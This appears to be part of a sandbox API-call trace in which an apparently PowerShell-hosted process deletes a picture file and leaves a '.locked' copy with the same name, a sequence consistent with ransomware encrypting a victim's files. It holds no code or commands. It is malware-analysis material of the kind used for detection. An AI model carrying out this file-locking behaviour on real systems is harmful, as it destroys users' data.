lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U", lpFilePart=0x0) returned 0x4c [0136.006] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U", lpFilePart=0x0) returned 0x4c [0136.006] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\IcmXYh5JRxcO.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\f_0dpqd34u\\icmxyh5jrxco.png")) returned 0x20 [0136.006] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\IcmXYh5JRxcO.png", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\IcmXYh5JRxcO.png", lpFilePart=0x0) returned 0x5d [0136.006] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\IcmXYh5JRxcO.png", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\IcmXYh5JRxcO.png", lpFilePart=0x0) returned 0x5d [0136.006] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\IcmXYh5JRxcO.png", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\IcmXYh5JRxcO.png", lpFilePart=0x0) returned 0x5d [0136.006] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0136.006] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\IcmXYh5JRxcO.png", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\IcmXYh5JRxcO.png", lpFilePart=0x0) returned 0x5d [0136.007] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\IcmXYh5JRxcO.png\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\IcmXYh5JRxcO.png\\", lpFilePart=0x0) returned 0x5e [0136.007] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\IcmXYh5JRxcO.png\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0136.007] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0136.007] CoTaskMemAlloc (cb=0x404) returned 0x8eb8d30 [0136.007] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8d30, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0136.007] CoTaskMemFree (pv=0x8eb8d30) [0136.008] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\IcmXYh5JRxcO.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\f_0dpqd34u\\icmxyh5jrxco.png")) returned 0x20 [0136.008] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\IcmXYh5JRxcO.png", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\IcmXYh5JRxcO.png", lpFilePart=0x0) returned 0x5d [0136.008] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\IcmXYh5JRxcO.png", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\IcmXYh5JRxcO.png", lpFilePart=0x0) returned 0x5d [0136.008] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0136.008] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\IcmXYh5JRxcO.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\f_0dpqd34u\\icmxyh5jrxco.png"), fInfoLevelId=0x0, lpFileInformation=0x6b1aac8 | out: lpFileInformation=0x6b1aac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa350f90, ftCreationTime.dwHighDateTime=0x1d49f92, ftLastAccessTime.dwLowDateTime=0x485bdde0, ftLastAccessTime.dwHighDateTime=0x1d4a3e7, ftLastWriteTime.dwLowDateTime=0x485bdde0, ftLastWriteTime.dwHighDateTime=0x1d4a3e7, nFileSizeHigh=0x0, nFileSizeLow=0x9801)) returned 1 [0136.008] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0136.008] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\IcmXYh5JRxcO.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\f_0dpqd34u\\icmxyh5jrxco.png")) returned 1 [0136.011] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x31, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.011] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.011] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x32, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.011] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x31, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.011] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x32, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x32, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.015] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\IcmXYh5JRxcO.png.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\f_0dpqd34u\\icmxyh5jrxco.png.locked")) returned 0x20 [0136.015] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\IcmXYh5JRxcO.png.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\f_0dpqd34u\\icmxyh5jrxco.png.locked")) returned 0x20 [0136.015] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\IcmXYh5JRxcO.png.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\IcmXYh5JRxcO.png.locked", lpFilePart=0x0) returned 0x64 [0136.015] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\IcmXYh5JRxcO.png.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\IcmXYh5JRxcO.png.locked", lpFilePart=0x0) returned 0x64 [0136.015] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x32, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.015] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.016] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x33, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.016] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x32, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.016] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x33, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x33, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.018] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x33, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.018] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.018] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x34, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.019] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x33, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.019] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x34, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x34, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.020] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x34, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.020] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.020] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x35, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.020] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x34, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.020] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x35, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x35, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.022] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x35, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.022] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.022] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x36, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.022] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x35, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.022] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x36, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x36, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.024] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x36, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.024] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.024] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x37, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.024] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x36, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.024] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x37, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x37, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.026] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x37, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.034] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0136.034] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\IcmXYh5JRxcO.png.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\f_0dpqd34u\\icmxyh5jrxco.png.locked"), fInfoLevelId=0x0, lpFileInformation=0x6931b28 | out: lpFileInformation=0x6931b28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14496577, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x14496577, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x144ad013, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x9824)) returned 1 [0136.034] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0136.034] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\IcmXYh5JRxcO.png.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\f_0dpqd34u\\icmxyh5jrxco.png.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x794 [0136.034] GetFileInformationByHandle (in: hFile=0x794, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0136.034] CloseHandle (hObject=0x794) returned 1 [0136.035] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae54c | out: lpConsoleScreenBufferInfo=0x99ae54c) returned 1 [0136.036] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae554 | out: lpMode=0x99ae554) returned 1 [0136.036] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae54c, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae54c*=0x2) returned 1 [0136.043] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4f0 | out: lpConsoleScreenBufferInfo=0x99ae4f0) returned 1 [0136.043] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae544 | out: lpConsoleScreenBufferInfo=0x99ae544) returned 1 [0136.043] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae54c | out: lpMode=0x99ae54c) returned 1 [0136.044] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae544, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae544*=0x2) returned 1 [0136.048] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae554 | out: lpConsoleScreenBufferInfo=0x99ae554) returned 1 [0136.048] GetConsoleOutputCP () returned 0x1b5 [0136.049] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2d8) returned 0 [0136.049] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae3a4 | out: lpConsoleScreenBufferInfo=0x99ae3a4) returned 1 [0136.049] GetConsoleOutputCP () returned 0x1b5 [0136.049] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae340, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae340) returned 0 [0136.049] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3ac | out: lpMode=0x99ae3ac) returned 1 [0136.050] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x695abb8*, nNumberOfCharsToWrite=0x5b, lpNumberOfCharsWritten=0x99ae3a4, lpReserved=0x0 | out: lpBuffer=0x695abb8*, lpNumberOfCharsWritten=0x99ae3a4*=0x5b) returned 1 [0136.050] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3ac | out: lpMode=0x99ae3ac) returned 1 [0136.051] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae3a4, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae3a4*=0x2) returned 1 [0136.055] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4ac | out: lpConsoleScreenBufferInfo=0x99ae4ac) returned 1 [0136.055] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4b4 | out: lpMode=0x99ae4b4) returned 1 [0136.056] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4ac, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4ac*=0x2) returned 1 [0136.061] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae544 | out: lpConsoleScreenBufferInfo=0x99ae544) returned 1 [0136.061] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae54c | out: lpMode=0x99ae54c) returned 1 [0136.062] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae544, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae544*=0x2) returned 1 